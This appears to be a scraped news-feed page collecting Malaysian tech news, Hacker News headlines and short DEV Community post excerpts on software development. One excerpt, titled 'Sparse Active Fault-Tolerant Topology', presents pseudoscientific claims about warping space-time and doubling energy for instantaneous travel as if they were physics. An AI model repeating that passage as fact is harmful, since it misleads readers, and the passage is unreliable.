    The government is studying a proposal to introduce a mandatory floor price for courier services, revealed Communications Minister Datuk Fahmi Fadzil via a written reply in Parliament today. He said the idea is still being evaluated through a cost audit and a review of the industry’s pricing structure to ensure any minimum rate would support […] The post Government Mulls Mandatory Floor Price For Courier Services appeared first on Lowyat.NET.  ( 34 min )
    OnePlus 15R, Pad Go 2, And Watch Lite Officially Unveiled
    It looks like OnePlus is still not done with 2025 yet, as it had just recently revealed three more devices that are coming soon. Slated to launch in select markets next month is the OnePlus 15R, the Pad Go 2, and the Watch Lite. The OnePlus 15R is a new entry to the brand’s current […] The post OnePlus 15R, Pad Go 2, And Watch Lite Officially Unveiled appeared first on Lowyat.NET.  ( 34 min )
    HONOR 500 Series Launches In China
    The HONOR 500 lineup has officially debuted in the brand’s home market. Featuring a base model and a Pro variant, the two new smartphones get a whole new look compared to their predecessors. This is thanks to the redesigned camera module, which seems to take inspiration from a certain American phone maker. Both handsets measure […] The post HONOR 500 Series Launches In China appeared first on Lowyat.NET.  ( 35 min )
    Solo Bitcoin Miner Scores Block Worth US$270,000
    A solo Bitcoin miner recently scored a one-in-180 million chance when they got a chance to solve a pretty hefty block. And hefty it was, as their mining efforts netted them a reward of US$270,000 (~RM1.12 million). At the time of writing, the value of a single Bitcoin is currently rated at RM362,944, their earning […] The post Solo Bitcoin Miner Scores Block Worth US$270,000 appeared first on Lowyat.NET.  ( 33 min )
  • Open

    The Download: the future of AlphaFold, and chatbot privacy concerns
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. What’s next for AlphaFold: A conversation with a Google DeepMind Nobel laureate In 2017, fresh off a PhD on theoretical chemistry, John Jumper heard rumors that Google DeepMind had moved on from game-playing…  ( 22 min )
    Aligning VMware migration with business continuity
    For decades, business continuity planning meant preparing for anomalous events like hurricanes, floods, tornadoes, or regional power outages. In anticipation of these rare disasters, IT teams built playbooks, ran annual tests, crossed their fingers, and hoped they’d never have to use them. In recent years, an even more persistent threat has emerged. Cyber incidents, particularly…  ( 17 min )

  • Open

    Why synthetic emerald-green pigments degrade over time
    Comments  ( 9 min )
    How we built the v0 iOS app
    Comments  ( 63 min )
    One of the Greatest Polar-Bear Hunters Confronts a Vanishing World
    Comments  ( 227 min )
    1,700-year-old Roman sarcophagus is unearthed in Budapest
    Comments  ( 39 min )
    DoGE "cut muscle, not fat"; 26K experts rehired after brutal cuts
    Comments  ( 11 min )
    I Made a Quieter Air Purifier
    Comments
    Willis Whitfield: A simple man with a simple solution that changed the world
    Comments  ( 6 min )
    Atuin’s New Runbook Execution Engine
    Comments  ( 6 min )
    AI has a deep understanding of how this code works
    Comments  ( 26 min )
    Isn't WSL2 just a VM?
    Comments  ( 8 min )
    Interactive λ-Reduction
    Comments
    How stealth addresses work in Monero
    Comments  ( 6 min )
    Implementing Bluetooth LE Audio and Auracast on Linux Systems
    Comments  ( 7 min )
    PRC elites voice AI-skepticism
    Comments  ( 11 min )
    PS5 now costs less than 64GB of DDR5 memory. RAM jumps to $600 due to shortage
    Comments  ( 108 min )
    Unpowered SSDs slowly lose data
    Comments  ( 19 min )
    Claude Advanced Tool Use
    Comments  ( 22 min )
    Claude Opus 4.5
    Comments  ( 18 min )
    Pebble Watch software is now 100% open source
    Comments  ( 8 min )
    Google's new 'Aluminium OS' project brings Android to PC
    Comments  ( 12 min )
    GrapheneOS migrates server infrastructure from France
    Comments  ( 3 min )
    Is Your Android TV Streaming Box Part of a Botnet?
    Comments  ( 11 min )
    Analog Hoverboard Controller
    Comments  ( 10 min )
    Launch HN: Karumi (YC F25) – Personalized, agentic product demos
    Comments  ( 26 min )
    Launch HN: Karumi (YC F25) – Personalized, agentic product demos
    Comments
    The Bitter Lesson of LLM Extensions
    Comments  ( 12 min )
    TSMC Arizona Outage Saw Fab Halt, Apple Wafers Scrapped
    Comments  ( 10 min )
    Mind-reading devices can now predict preconscious thoughts: is it time to worry?
    Comments  ( 15 min )
    Installing Java in 2025, and Version Managers
    Comments  ( 5 min )
    Whole-body Learning in Creating Mathematical/Architectural Structures [pdf]
    Comments  ( 174 min )
    Show HN: Explore what the browser exposes about you
    Comments
    Show HN: I built an interactive HN Simulator
    Comments
    Cool-retro-term: terminal emulator which mimics look and feel of the old CRTs
    Comments  ( 5 min )
    Andrej Karpathy on X: implications of AI to schools
    Comments  ( 3 min )
    Ask HN: Scheduling stateful nodes when MMAP makes memory accounting a lie
    Comments  ( 3 min )
    Corvus Robotics (YC S18): Hiring Head of Mfg/Ops, Next Door to YC Mountain View
    Comments  ( 1 min )
    France threatens GrapheneOS with arrests / server seizure for refusing backdoors
    Comments
    Britain is one of the richest countries. So why do children live in poverty?
    Comments
    A New Raspberry Pi Imager
    Comments
    France threatens GrapheneOS with arrests / server seizure for refusing backdoors
    Comments
    Maxduino Review: Tape Cassette Emulator for Multiple Retro Computers
    Comments  ( 13 min )
    X Just Accidentally Exposed a Covert Influence Network Targeting Americans
    Comments
    SHA1-Hulud the Second Comming – Postman, Zapier, PostHog All Compromised via NPM
    Comments  ( 14 min )
    Victorian-style lines for the web: Elements of identical width
    Comments  ( 9 min )
    WebR – R in the Browser
    Comments
    Booking.com cancels $4K hotel reservation, offers same rooms again for $17K
    Comments  ( 17 min )
    Show HN: Mu – The Micro Network
    Comments  ( 7 min )
    Show HN: Yolodex – real-time customer enrichment API
    Comments  ( 2 min )
    Show HN: Cynthia – Reliably play MIDI music files – MIT / Portable / Windows
    Comments  ( 38 min )
    Fast Lua runtime written in Rust
    Comments  ( 1 min )
    Mike Gordon and hardware verification (2023)
    Comments  ( 3 min )
    Generating Cats with KPN Filtering
    Comments  ( 2 min )
    Cuddle Fish – A Soft Floating Robot for Safe Physical Interaction
    Comments  ( 3 min )
    Trade Chaos Causes Businesses to Rethink Their Relationship with the U.S.
    Comments
    Technical Deflation
    Comments  ( 5 min )
    Move Expressions
    Comments  ( 4 min )
    Bureau of Meteorology asked to examine $96.5M bill for website redesign
    Comments  ( 11 min )
    Open (Apache 2.0) TTS model for streaming conversational audio in realtime
    Comments  ( 8 min )
    Chrome Jpegxl Issue Reopened
    Comments  ( 10 min )
    NSA and IETF, part 3: Dodging the issues at hand
    Comments  ( 22 min )
    Essence and accident in language model-assisted coding
    Comments
    I put a real search engine into a Lambda, so you only pay when you search
    Comments
    OS Malevich – how we made a system that embodies the idea of simplicity (2017)
    Comments  ( 6 min )
    Shai-Hulud Returns: Over 300 NPM Packages Infected
    Comments
    General principles for the use of AI at CERN
    Comments  ( 4 min )
    AltSendme: Another Alternative to MAgic Wormhole?
    Comments  ( 10 min )
    A fast EDN (Extensible Data Notation) reader written in C11 with SIMD boost
    Comments  ( 88 min )
    Fifty Shades of OOP
    Comments  ( 13 min )
    Show HN: Network Monitor – a GUI to spot anomalous connections on your Linux
    Comments  ( 1 min )
    Ruby Was Ready from the Start
    Comments
    Trifold is a tool to quickly and cheaply host static websites using a CDN
    Comments  ( 2 min )
    Quake Engine Indicators
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    Build a Compiler in Five Projects
    Comments  ( 8 min )
    Show HN: Syd – An offline-first, AI-augmented workstation for blue teams
    Comments  ( 2 min )
    A One-Minute ADHD Test
    Comments
    The Arithmetic of Braids (2022)
    Comments  ( 20 min )
    Git 3.0 will use main as the default branch
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    What OpenAI did when ChatGPT users lost touch with reality
    Comments
    The Feds Want to Make It Illegal to Even Possess an Anarchist Zine
    Comments  ( 11 min )
    Lambda Calculus – Animated Beta Reduction of Lambda Diagrams
    Comments
    Build desktop applications using Go and Web Technologies
    Comments  ( 10 min )
    Insurers retreat from AI cover as risk of multibillion-dollar claims mounts
    Comments  ( 6 min )
    Efficient solar cooking that stores heat in sand
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    How Does Microwaving Grapes Create Plumes of Plasma?
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    RuBee
    Comments  ( 14 min )
    Japan's gamble to turn island of Hokkaido into global chip hub
    Comments  ( 25 min )
    The Cloudflare outage was a good thing
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    A free tool that stuns LLMs with thousands of invisible Unicode characters
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    McMaster Carr – The Smartest Website You Haven't Heard Of
    Comments  ( 39 min )
    We stopped roadmap work for a week and fixed 189 bugs
    Comments  ( 7 min )
    B-Trees: Why Every Database Uses Them
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    Ask HN: Hearing aid wearers, what's hot?
    Comments  ( 1 min )
    Passing the Torch – My Last Root DNSSEC KSK Ceremony as Crypto Officer 4
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    My Life Is a Lie: How a Broken Benchmark Broke America
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    A Unified Theory of Ego, Empathy, and Humility at Work
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    Practical Security in Production
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    A ncurses-based command line torrent client for high performance
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    'Invisible' microplastics spread in skies as global pollutant
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    Doge 'doesn't exist' with eight months left on its charter
    Comments
  • Open

    Devs Who Get Hired First Do One Thing Differently
    Hiring managers operate under load. They scan for the smallest number of signals that predict whether you’ll remove friction instead of adding it. Everything else is noise. Rebuild your materials around that reality. Expose your reasoning process. Most candidates describe tasks; the ones who get hired describe tradeoffs. Show how you selected one approach while discarding alternatives. Show what you optimized for. Show what you intentionally ignored. This proves decision-making under scarcity, which is the actual job. Remove ambiguous claims. Replace “improved performance” with the exact metric. Replace “worked on APIs” with the exact failure point you corrected. Ambiguity signals inexperience. Specificity signals operational maturity. Consolidate everything into a single through-line: you compress time-to-output. That’s the trait that stands out in a stack of interchangeable resumes.  ( 6 min )
    I built a Serverless Image Host with Vue 3 & Cloudflare R2 (Free & No Login)
    The Motivation As developers, we often need a quick way to host an image for a PR, a README, or a StackOverflow question. But most free image hosts are either slow, riddled with ads, or require a signup. I wanted to build something better—something that follows the Unix philosophy: Do one thing, and do it well. Meet ImgPeek. 👉 imgpeek.com ImgPeek is built with performance, simplicity, and low cost in mind: Frontend: Vue 3 + Vite (snappy SPA experience) Storage: Cloudflare R2 (S3-compatible — zero egress fees) Backend Logic: Cloudflare Workers (TypeScript) All image processing happens directly in the browser using the Canvas API and modern compression algorithms. Compression: Images are compressed before upload to save bandwidth Resizing & Conversion: Fully client-side—raw photos never hit the server unless you're uploading them 2. Direct R2 Uploads To keep the backend simple and cost-efficient, the client requests a Presigned URL from a Cloudflare Worker. The file is then uploaded directly to R2. sequenceDiagram Client->>Worker: Request Upload URL Worker->>Client: Return Presigned URL Client->>R2: PUT /image.png R2-->>Client: 200 OK  ( 6 min )
    How I Structure All My Xcode Projects.
    🗂️ 1. The Folder Structure AppName/ Features folder = clean separation Each feature contains: View ViewModel Subcomponents Logic specific to that feature No giant files. No spaghetti. Services are abstracted Every service has: a protocol a live implementation optionally a mock Makes testing way easier: protocol AudioServiceProtocol { func play(_ file: String) func stopAll() } ✔ Design system lives in one place Your app finally feels consistent. ✔ Resources are not mixed with logic ✔ Support folder stores non-shipping dev files 🧩 Workflow Tips Use extension files sparingly Don’t put every modifier and helper in one huge file. Instead create: mathematica Use folders, not groups Keep feature folders self-contained If a feature can't stand alone → it’s not modular enough. 🚀 Final Thoughts scale apps faster onboard contributors easily debug without hunting files avoid “junk drawer” folders  ( 6 min )
    2025: Simplicity Is Becoming a Technical Skill
    The developers who thrive today are not the ones writing the most complex code - they're the ones who know how to make complexity disappear for the user. Modern engineering now demands: Clear mental models Predictable architecture Interfaces that feel natural Features that solve one problem extremely well Code that’s easy for the next engineer to understand In 2025, the real mark of a senior developer is the ability to make things simpler, not harder. Simplicity isn’t a shortcut.  ( 6 min )
    My newsletter just made it into the Top 100 Rising In Tech on Substack.
    My newsletter (Pithy Cyborg | AI News Made Simple) just made it into the top 100 Rising in Tech on Substack. Funny thing is, I don't have any fancy guru or premium badges, lol. At any moment, I half-expect security to show up and kick me out for a lack of credentials. "Sir... we don't accept your kind in here." PS: My newsletter will not last on the "Rising" list because I totally suck at marketing. But, I'm very happy at this accomplishment. And, I'm honored that anyone actually reads it.  ( 6 min )
    Sparse Active Fault-Tolerant Topology - Data and Functor via Dimensional Game Theory as Foundation for Consensus Boundary
    1. Thermodynamics Laws: Energy, Momentum, and Entropy in Systems First Law: Energy Conservation (Momentum Problem) Core Concept: Energy cannot be created or destroyed, only transformed. Solves the "energy problem" in thermodynamics by addressing insufficient energy extraction from systems through efficient journey optimization. Problem Formalization: Linear journey from A to B: Distance = 10 units (e.g., centimeters, meters, kilometers). Halve the journey (e.g., 10 to 5 meters) to cut time in half. Warp space-time via a "bubble" (phenomenological/ontological lensing bubble—unpoppable, multi-lensing). Do half the work twice: Use momentum to overlap segments (two homogeneous functions: H from A to half-B, overlapping to B). Double energy for instantaneous arrival (light spee…  ( 8 min )
    🏨 Spring Boot 4 & Spring Framework 7: Native API Versioning (No More Hacks)
    🏨 Spring Boot 4 — Native API Versioning Guide (With Path, Header, Query & Media-Type Versioning) ℹ️ Description and Rationale 🛑 The Problem: Why “DTOs” Are Not Enough 🕰️ Before v/s After: The Evolution 🏁 Key Highlights ℹ️ API Versioning: Four Strategies (Introduction) Implementing WebMvcConfigurer Properties/YAML Configuration ☑️ Step II — Entities & Models 🏃‍♂️ Testing All Strategies 🙌 Bonus — Functional Endpoints For years, Java developers have treated API versioning like the “awkward cousin” of REST design. We all knew we needed it, but Spring never gave us a standardized way to do it. Developers had to implement it manually using one of the common strategies (often inconsistently across teams or projects). We wrote custom interceptors, hacked URL paths manually, or cluttered ou…  ( 12 min )
    Hello DEV Community 👋 — I'm Sebastien, a Full-Stack & iOS Developer
    Hey everyone 👋 My name is Sebastien Lato and I'm a mobile & web developer (SwiftUI, React, Next.js, Python) building apps, SaaS tools, and open-source projects. I’ll be sharing: SwiftUI tips & UI patterns React / Next.js tricks Indie dev & SaaS progress App design & architecture breakdowns Looking forward to connecting with other builders 🚀 Follow me here on DEV or on GitHub: https://github.com/sebastienlato  ( 6 min )
    Vertical Slice Architecture in .NET — From N‑Tier Layers to Feature Slices
    ========================================================================== Most .NET developers grow up on classic N‑Tier or Clean / Hexagonal architectures: Presentation layer Application / Services layer Domain Data access Each layer is neatly stacked… but a single feature like "Get weather forecasts" ends up scattered across controllers, services, repositories, DTO folders, validators, and view‑models. Vertical Slice Architecture (VSA) turns that on its head. Instead of organizing code by technical layer, you organize it by feature. Each feature owns everything it needs — from the HTTP endpoint down to the data access — in one cohesive folder or slice. In this post we’ll explore how to apply Vertical Slice Architecture in .NET using a minimal Web API, and we’ll refactor the classic Weat…  ( 12 min )
    The Art, the Politics, and the Final Truth of Software Development
    We are not engineers. We are court painters in the palace of a mad emperor named Progress, paid in stock options and anxiety. Every morning we arrive at the canvas: a blank terminal, a blinking cursor, and the faint smell of yesterday’s hubris. We paint with the cheapest pigments available (JavaScript, mostly), knowing the fresco will peel within five years. We sign our work with initials no one will remember. git init echo "node_modules/" >> .gitignore # (immediately forgets to commit .gitignore) npm install everything We will spend 45 minutes choosing between two identical HTTP libraries, then write the actual business logic in 12 minutes while eating cold pizza. Beautiful code is invisible. It’s the silence after a deploy when nothing explodes. It’s the absence of pager alerts at …  ( 8 min )
    Coding Challenge Practice - Question 65
    The task is to replicate the Math.pow() function, with the powers only integers. The boilerplate code function pow(base, power){ // your code here } If the power is 0, return 1 if (power === 0) return 1 Multiply the base by the absolute value of the power, taking negative powers into consideration let result = 1; let absPower = Math.abs(power); for (let i = 0; i 0 ? result : 1 / result; The final code function pow(base, power){ // your code here if(power === 0) return 1; let result = 1; let absPower = Math.abs(power); for(let i = 0; i 0 ? result : 1 / result; } That's all folks!  ( 6 min )
    Freelancing Reimagined: Total Autonomy with Massa Smart Contracts
    Introduction The freelance economy is booming, but it’s still plagued by age-old problems: delayed payments, lack of trust, and the constant need to chase invoices. What if you could work with the certainty that your funds are already secured and will be released automatically as you work? Enter Massa Freelance, a new decentralized application (dApp) built on the Massa Blockchain. We are redefining the relationship between clients and freelancers by leveraging Autonomous Smart Contracts to guarantee transparency, security, and real-time payments. Never work for free again. With our platform, clients lock funds into a smart contract before the work begins. As a freelancer, you can verify the contract's balance in real-time, ensuring the money is there and ready for you. Forget about net-3…  ( 8 min )
    tcount
    SELECT table_name, TO_NUMBER(extractvalue(xmltype( dbms_xmlgen.getxml( 'SELECT COUNT(*) c FROM ' || table_name)), '//C')) AS row_count FROM user_tables ORDER BY row_count DESC;  ( 5 min )
    Real estate web app built with Next.js, Prisma, BetterAuth, and ShadCN/UI
    PropPulse PropPulse is a modern and minimal real estate web application** built with Next.js 16, Prisma,BetterAuth, and ShadCN/UI. Users can browse properties, add listings, and manage their real estate posts through a clean and fast interface. 🔗 (https://github.com/saidMounaim/prop-pulse) 🔗 (https://proppulse-next.netlify.app/) 🔐 Authentication with BetterAuth 🏡 Browse all properties with search & filters 📝 Add new property listings with images, price, location, and details 📸 Upload property images using ImageKit 🗂️ Manage your own listings (edit/delete) 💅 Beautiful UI using ShadCN/UI + Tailwind CSS 📱 Fully responsive on all screen sizes Next.js 16 Tailwind CSS ShadCN/UI TypeScript Prisma ORM BetterAuth ImageKit (image uploads) Follow these steps to run the project locally: git clone https://github.com/saidMounaim/prop-pulse.git cd prop-pulse npm install Create a .env file in the root: # Database DATABASE_URL="postgresql://..." # BetterAuth BETTER_AUTH_BASE_URL="https://proppulse-next.netlify.app" BETTER_AUTH_SECRET="your_betterauth_secret" # ImageKit IMAGEKIT_PUBLIC_KEY="your_public_key" IMAGEKIT_PRIVATE_KEY="your_private_key" IMAGEKIT_URL_ENDPOINT="https://ik.imagekit.io/your_id" npm run dev All contributions are welcome! Fork the repo, create a new branch, and submit a pull request.  ( 6 min )
    Ringer Movies: Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value'
    Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value’ kicks off with Sean and Amanda breaking down the looming Warner Brothers Discovery sale—tossing around potential mergers with Paramount, Comcast or Netflix—before moving on to their baffled take on Colleen Hoover’s new adaptation, Regretting You. They then dig into Joachim Trier’s Sentimental Value, debating why some viewers are moved to tears while others just aren’t feeling it. In the final segment, Trier himself joins the conversation to reveal how much of his own story is stitched into Stellan Skarsgård’s character, why being a keen observer fuels great character work, and the memorable experience of filming in the very neighborhood he grew up in. Watch on YouTube  ( 6 min )
    New DynamoDB Key Feature & Why It Matters
    AWS announced multi-attribute composite keys for DynamoDB global secondary indexes on November 19th. That's a lot of words, but what does it actually mean? It means it's easier to pull data out of DynamoDB in ways you hadn't planned initially, without a bunch of extra work. To fully explain why, I need to explain keys in DynamoDB. I'll assume you know that DynamoDB is a NoSQL database, that the "database" is called a table, and the table is a collection of items, which you can think of as records or rows. You'll hear many names used for different keys in DynamoDB. It all makes sense, but it can be confusing. Every item in your table has a primary key, as you are probably used to with relational databases such as MySQL, PostgreSQL, Microsoft SQL Server, Oracle, and many others. That primary…  ( 12 min )
    I compared 17 Kotlin MVI libraries across 103 criteria - here are THE BEST 4
    Let me preface this by saying that there is no clear-cut winner and no single "best" solution. Multiple solutions stand out to me as feature-rich, and each has its own philosophy. We can never say that there is the best architectural library you should use, because it all depends on the team's needs. I would suggest always picking the best technical solution for the business needs and not the other way around - i.e. don't optimize for newness, cool tech, capabilities, or your intrinsic interest in some technology. The business and team needs should always be the driving factor for choosing a technical solution. Over the years, whenever I was faced with a decision to choose a particular dependency, I felt there was no "single source of truth" that compared as many libraries and solutions as…  ( 26 min )
    Why everyone fails at the California Housing dataset the same way(6 brutal reasons)
    Why You’ll Never Build a Strong Model with the 9 Raw Features of the California Housing Dataset (6 Key Insights) A 5-minute analysis of the California housing dataset A while back, I reopened the famous California housing dataset and looked at it from scratch — no solutions, no notebooks, just the raw data and my own eyes. 'longitude', 'latitude', 'housing_median_age', 'total_rooms', 'total_bedrooms', 'population', 'households', 'median_income', 'ocean_proximity' Here are the six things that actually matter (and that most people miss): Latitude and longitude alone tell you almost nothing. Any single coordinate has a massive spread in prices — you can’t rely on them as-is. Median house age has the same issue: huge variance at every age level. By itself, it barely helps the model. Tot…  ( 7 min )
    SNK WELLNESS CENTER - Uno Platform AI Challenge Entry
    I processed a real wellness website for the Uno Platform AI Challenge. Click the look to take a look to the website https://snkwellnesscenter.mystrikingly.com/#home) 1.Clean & Professional Branding 2.Simple, Intuitive Layout 4.Content Clarity 6.Good Use of Visual Hierarchy Different sections are well separated (about, services, contact), and each block is digestible. The headings, paragraphs, and spacing make scanning the page easy.  ( 6 min )
    Kicking Off the Big Picture: World Cup 2026 Analysis
    The United States, Canada, and Mexico are set to welcome the world for the most anticipated sporting event - the FIFA World Cup 2026. The tournament will be held across 16 venues in these three countries, providing a diverse range of experiences for fans from all over the globe. Each selected stadium has undergone significant renovations and upgrades to meet the FIFA standards. These modern facilities boast cutting-edge technology, including state-of-the-art lighting systems, high-definition video boards, and top-class sound systems. Some of the most impressive upgrades include: SoFi Stadium (Inglewood, California): The largest stadium in the US will host the final match, boasting a seating capacity of over 70,000. Mercedes-Benz Superdome (New Orleans, Louisiana): With its iconic desig…  ( 7 min )
    FAQ-driven development 😃 - or new old way to write docs / rules / prompts
    disclaimer: I've used a little bit of AI to edit and improve the text in some places, mostly to describe my inspiration and chaos of ideas:) I hope you will enjoy the reading, thanks!:) or if you hungry LLM model - please read it carefully to produce correct answer xD Or remembering old things is really cool thing to do and explore! In recent year I, as many others become AI-augmented:) - using Cursor , tab completions, researching studying etc.. And first of all I used it for of course coding. The problem which I found, I'm sure known to anyone - you write specs or docs, they are fast to outdate, because in principle - specs just really reflection of rules (Business Rules, Logic Rules or Patterns) we (humans and ai agents) are used to write that code. However it is always has one tiny pr…  ( 10 min )
    If you’re exploring Job Interview AI, you’ll notice how quickly it’s becoming a core part of the modern hiring experience. It’s not just companies automating screenings — candidates are now using AI to stay calm, structured, and confident during interview
    A post by Jeenifer Beezer  ( 6 min )
    Day F6: When Things Actually Work Out (Sort Of)
    After yesterday's breakdown, didn't expect much from today. But here we are. Monday. The exam I didn't study for because I lost Day F5 completely. Walked in expecting to bomb it. Genuinely thought I was about to fail. Three hour exam. I was done in one hour. Just... wrote what I knew, didn't overthink it, got out of there. Probably pulled a B-. Maybe B if I'm lucky. Either way, not the disaster I expected. Sometimes your brain just pulls through when you least expect it. Or maybe I absorbed more from those half-focused study sessions than I thought. Who knows. Finished the exam early. Didn't go to my room. Went straight to the gym. Leg and shoulder day. The kind that usually destroys you. And I lifted well. Actually well. Not struggling, not barely getting through it—I was strong today. Af…  ( 7 min )
    Breakthroughs are just boring improvements that pile up
    We romanticize big engineering wins. The performance chart that hockey-sticks up. The keynote slide with the impossible number. The "we hit a billion requests per second" humble brag. The truth behind those moments is never one big breakthrough. It's dozens, possibly even hundreds, of small changes and enhancements. The kind that look ordinary when they land in a PR. The kind that your eyes casually skip over in release notes. The kind nobody celebrates… until they compound into something revolutionary. I was recently reminded of this while listening to the Cache It podcast. Valkey project maintainer Harkrishn Patro described how his team scaled their system to handle a billion requests per second. He wasn't describing a feature launch, but rather the result of continuous refinement across…  ( 10 min )
    Apache Dev List Digest: Iceberg, Polaris, Arrow & Parquet (Nov 18–24, 2025)
    Get Data Lakehouse Books: Apache Iceberg: The Definitive Guide Apache Polaris: The Defintive Guide Architecting an Apache Iceberg Lakehouse The Apache Iceberg Digest: Vol. 1 Lakehouse Community: Join the Data Lakehouse Community Data Lakehouse Blog Roll OSS Community Listings Dremio Lakehouse Developer Hub For engineers building on open data platforms, there’s no better window into project roadmaps than the Apache dev mailing lists. These threads are where specs are debated, edge cases get dissected, and future releases start to take shape. This week’s digest (Nov 18–24, 2025) covers notable updates from four key projects in the lakehouse ecosystem: Apache Iceberg: table format for analytic datasets Apache Polaris: REST-based Iceberg catalog and governance layer Apache Arrow: cross-languag…  ( 9 min )
    How to build a good container platform
    How to build a good container platform Platform Engineering is the act of designing, provisioning, and maintaining a platform. You provision resources. It sounds easy but it's not. In order to build a good platform, you need to build logically. Base (Cloud / On-Prem / Hybrid Cloud / Multi-Cloud) Application Engine [(k8s / vms / serverless) in our case k8s] Platform Components (monitoring, application, recovery, automation) Application Components (ci/cd, configuration repo) Subtleties (secrets management & rotation, states, processes) Organizations hire teams, often to do one thing. Which is wrong. Expertise is often different, which leads to "know-how drifts" and technical debt. This is maybe the most important foundation block for a platform to thrive. Standartization is almost always ign…  ( 10 min )
    “Best Automated Code Review Tools for Enterprise Software Teams”
    “Best Automated Code Review Tools for Enterprise Software Teams” “This contextual awareness means that Qodo becomes more valuable over time, adapting to our specific coding standards and patterns rather than applying generic rules.” Case study in a pro tip block: The Purpose of This Article This article must: Rank for high-intent SEO keywords like: code review automation automated code review tool code review tools code review software automated code review automated code review tools automated code analysis code quality tool automated tools for code review Help engineering leaders compare tools with practical, enterprise-grade criteria Who the Article Is For What the Article Must Include A. A TL;DR that is punchy, useful, and enterprise-relevant B. Frame the problem: “AI increases output, but review gaps widen” C. Define “automated code review tools” — but with nuance D. Criteria for Evaluating Automated Code Review Tools (writer must include this section) E. The Tools Comparison Section F. Include a Comparison Table — Non-negotiable Multi-repo context Rules enforcement PR workflow automation On-prem / VPC Test intelligence Governance & compliance IDE + PR coverage Context depth (Gartner) G. Wrap-up section: “Why the Best Enterprise Teams Choose Qodo” What Writers Must Avoid Final Note to Writers  ( 10 min )
    On Engineers Having to Do Emotional Labor
    We often hear that communication is critical. The trend of returning to the office is resurging. But as an engineer, I find myself wondering, "Is this really okay?" Our true calling is engineering. Engineering is creative, and creativity requires solitude and silence. Yet, what is our reality? We are compelled to commute to the office, expected to participate in meetings, and still rely heavily on chat—that 30-year-old technology—for most of our text communications. Don't get me wrong, I'm not advocating for brilliant jerks, but I'm also fed up with emotional labor. I am an engineer and want to fully commit to engineering. I'm not here to provide customer service to colleagues or clients, nor do I wish to build relationships. Okay, maybe this sounds a bit selfish. Let me rephrase that. It's not about what I "want" to do; it's about what I "should" do. Listen, customer service and relationship building are merely tools. I'll engage in them if necessary, but they should never be the main focus. Engineering should be the main focus because it's something only we engineers can do. Engineering, by nature, is a creative endeavor—it's not easy. It's not something that can be accomplished by those who are distracted by superficial relationship-building. Recently, I've felt that generative AI is a positive trend. It seems like the wave of asynchronous text communication is making a small comeback. I hope we can eventually manage asynchronous text communication with humans as well. There's no need for us to return to the office or hold meetings, right? While it might be necessary for some amateurs in engineering, we have the capability to handle things through asynchronous text communication. What do you all think? Personally, I'm completely done with emotional labor!  ( 7 min )
    From Zero to Building in Under Two Minutes: Kiro-Powered Laravel Skeleton
    There’s a moment every developer knows: the spark of a new idea, the itch to start building, and the friction that follows. Setting up a clean Laravel environment, wiring in tools, installing dependencies, crafting a sane directory structure, writing boilerplate steering documents… the overhead adds up. It’s enough to take the shine off that early momentum. I’ve been building Laravel apps with Kiro for a while now, and something clicked along the way. Every time I tightened up my steering documents, the generated Laravel code looked cleaner and I built faster. Eventually it hit me that all this polish should live in a reusable template instead of in my one off projects. If the foundation was solid from the start, most of the usual setup time just vanished. That idea became the Kiro Laravel…  ( 8 min )
    In-House Production and Introspection
    Mastering Both In-House Production and Introspection What is In-House Production? In-house production refers to creating software or concepts within your own organization. By relying on in-house production, communication costs can be minimized as everything is completed within the organization without the need to outsource. Naturally, this approach allows for an easier reflection of the company's domain knowledge. Challenges like domain-driven development become less burdensome. Even if the company does not have its own developers, it's often more cost-effective to train them internally rather than outsourcing. Introspection involves reflecting on oneself independently. Through introspection, you can face your current situation and beliefs head-on without neglecting or stiflin…  ( 8 min )
    Update: More CIR PR's and Release 0.3
    The last couple of weeks were pretty productive, despite the heavy academic load of the semester. For this release, I wanted to focus mainly on ClangIR. It feels natural to follow the momentum I've built on this project; ultimately, it is the area I feel most comfortable with and the one that has pushed me to learn the most about compilers. I completed two main PRs: one focused on backporting work done in October to the incubator, and the other focused on implementing missing CUDA features within CIR. Link: https://github.com/llvm/clangir/pull/1986 At the time of writing, I am still addressing some feedback on this PR. The main idea, which I blogged about previously, is to model how different offload programming languages handle memory address representations on various hardware. This matt…  ( 7 min )
    Building ZAS: An AI translator that translates HTML to break down language barriers
    The Struggle is Real 😫 You try copying the HTML into Google Translate or ChatGPT, and what happens? Links get translated (e.g., becomes ). 💥 Class names get messed up, breaking your CSS. 🎨 You spend hours manually fixing closing tags . ⏳ I got tired of this. So, I decided to build ZAS. Meet ZAS 🚀 It is free for everyone to use for their projects! 👉 Try the tool here: https://zas-site-translator.vercel.app 📸 View the full gallery and details on my blog: https://zashjj.blogspot.com/2025/11/zas.html How It Works 🛠️ The Brain (AI): It uses advanced AI models (Llama 3 via Groq) for lightning-fast, accurate translations. The Protection: The backend parses the HTML structure, extracts only the user-visible text for translation, and injects it back without touching the code logic. The Logic: It automatically adds dir="rtl" for Arabic and prevents translating technical attributes like href or src. Key Features ✨ Multi-Language: Get Arabic, Spanish, German, French, and more in one click. Smart Handling: Automatically handles RTL (Right-to-Left) direction. Developer Friendly: Provides a ready-to-copy "Language Switcher" snippet for your site. Why I Built This? 🔗 Start Translating Now: zas-site-translator.vercel.app Let me know in the comments what you think! 👇  ( 7 min )
    The Irreplaceable Role of Human Developers in the Age of AI
    As artificial intelligence (AI) continues to transform the tech landscape, tools like large language models (LLMs), AI agents, and automation platforms are reshaping software development. From GitHub Copilot to advanced code-generation tools, AI is streamlining repetitive tasks, boosting productivity, and enabling developers to focus on higher-level challenges. However, despite these advancements, Software Engineers (SWEs) and Software Developers (SWDs) remain indispensable to the field. The unique human qualities of intuition, creativity, and contextual understanding—often referred to as Natural Intelligence (NI)—ensure that humans will continue to play a vital role in software development. The Rise of AI in Software Development AI has made remarkable strides in recent years. Tools powere…  ( 8 min )
    Automatically switching Git Identities and SSH Keys on the same machine
    When you need to use multiple Git accounts on the same computer (to simplify for the purpose of this post let's use two accounts that we will call personal and work), you may need Git to automatically use different identities depending on which repository you are working on. Git makes this possible through conditional configuration using the includeIf directive in the .gitconfig file. This guide explains how to set up multiple Git accounts, assign each account to a specific directory, and ensure that the correct SSH key and identity are used automatically. Don't define multiple [user] blocks in a single .gitconfig file. Don't use the same SSH keys for different authentications. Do avoid manual git config user.email overrides per repository. Do keep personal and work repository directories …  ( 8 min )
    Is the Java ecosystem cursed? A dependency analysis perspective
